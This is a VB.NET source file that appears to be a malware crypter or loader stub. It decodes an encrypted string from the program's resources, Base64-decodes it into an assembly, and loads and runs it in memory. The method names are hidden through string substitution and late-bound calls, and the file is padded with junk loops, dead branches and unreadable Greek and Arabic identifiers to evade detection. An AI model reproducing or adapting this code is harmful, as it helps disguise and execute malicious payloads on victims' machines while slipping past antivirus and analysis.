Sub main()
CEMArFGOeVlkZFDlBAKDDbK(My.Resources.String1, "φιξخبثنξδσωξωι123")
End Sub
Friend Sub CEMArFGOeVlkZFDlBAKDDbK(ByRef ιθξιφβοωδφ As String, ByVal ξξοξισββθξ As String)
Dim δοφωοοοδξβ As New System.Text.StringBuilder()
For Each ξοξφφιφξιο As Char In ιθξιφβοωδφ
Dim οσδιβθιιφο As String = Strings.ChrW(Strings.AscW(ξοξφφιφξιο) / (Strings.AscW(ξξοξισββθξ) Mod 30)).ToString()
δοφωοοοδξβ.Append(οσδιβθιιφο)
Next ξοξφφιφξιο
Dim φοξξδθδξδβ = Nothing
Dim gerwed = AppDomain.CurrentDomain
GoTo oGhRjnALrJeSBAQLFcXhKOT
oGhRjnALrJeSBAQLFcXhKOT:
Dim TwNsoDUcGUtfNHGeqDwhPQq As Integer
TwNsoDUcGUtfNHGeqDwhPQq = 4030915
If 3075361 = 3075361 + 1 Then End
Dim hKjIGvKnJbqnhYBabAorSbj As Integer
For hKjIGvKnJbqnhYBabAorSbj = 7382203 To 7382203 + 5
Application.DoEvents()
Next hKjIGvKnJbqnhYBabAorSbj
Dim FXntwRRhOPKmLVPPemlhXNk As Integer
FXntwRRhOPKmLVPPemlhXNk = 2590044
Do While FXntwRRhOPKmLVPPemlhXNk < 2590044 + 10
FXntwRRhOPKmLVPPemlhXNk = FXntwRRhOPKmLVPPemlhXNk + 1
Application.DoEvents()
Loop
Dim ξοξφφιφξιοg = "#oa^".Replace("#", eYtHqCQHWitdLcMAttJrfHV(Chr(22), "ZWPhNbAZVEamFwpHcEEOdeN")).Replace("^", eYtHqCQHWitdLcMAttJrfHV(Chr(62), "ZWPhNbAZVEamFwpHcEEOdeN")) : Dim ξοξφφιφξιοrg = "Mn5r%Foin5".Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(60), "qHYEYaIaUwPNFPCHOAZXjbv"), eYtHqCQHWitdLcMAttJrfHV(Chr(9), "LphZjZRcTrFlFfMHBtuhpXh")).Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(2), "DMHiYfDFMUHXUVkZQKRXpHK"), eYtHqCQHWitdLcMAttJrfHV(Chr(20), "DMHiYfDFMUHXUVkZQKRXpHK")).Replace("%", eYtHqCQHWitdLcMAttJrfHV(Chr(44), "UuQGjeLGLPuvUluYCGnhvEt")).Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(96), "UuQGjeLGLPuvUluYCGnhvEt"), eYtHqCQHWitdLcMAttJrfHV(Chr(25), "mfZaudUHKKkWUEHYmDLrEAe")) : Dim ξοξφφιdφξιο = "2n$ode".Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(95), "mfZaudUHKKkWUEHYmDLrEAe"), eYtHqCQHWitdLcMAttJrfHV(Chr(36), "mfZaudUHKKkWUEHYmDLrEAe")).Replace(eYtHqCQHWitdLcMAttJrfHV(Chr(62), "ZWPhNbAZVEamFwpHcEEOdeN"), eYtHqCQHWitdLcMAttJrfHV(Chr(14), "eBAkjiGhDkmIjrfqERfhEhH")).Replace("$", eYtHqCQHWitdLcMAttJrfHV(Chr(19), "eBAkjiGhDkmIjrfqERfhEhH"))
Dim ξοξφφιφξιοe = CallByName(gerwed, ξοξφφιφξιοg, CallType.Method, Convert.FromBase64String(δοφωοοοδξβ.ToString()))
Dim ξοξφφιφξιοse = CallByName(ξοξφφιφξιοe, ξοξφφιφξιοrg, CallType.Get)
Dim ξοξφφιφξιοd = CallByName(ξοξφφιφξιοse, ξοξφφιdφξιο, CallType.Method, 5 - 5, Nothing)
End Sub